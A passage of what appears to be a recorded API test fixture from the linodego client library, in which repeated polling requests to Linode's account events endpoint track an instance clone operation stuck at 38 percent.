"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 48.328222, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 48.392352, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 48.996991, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.063447, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.12959, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.21731, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.28241, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.362931, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.430419, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.505799, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.567806, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.625891, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.686828, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.745465, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.805795, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.872871, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 49.93894, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 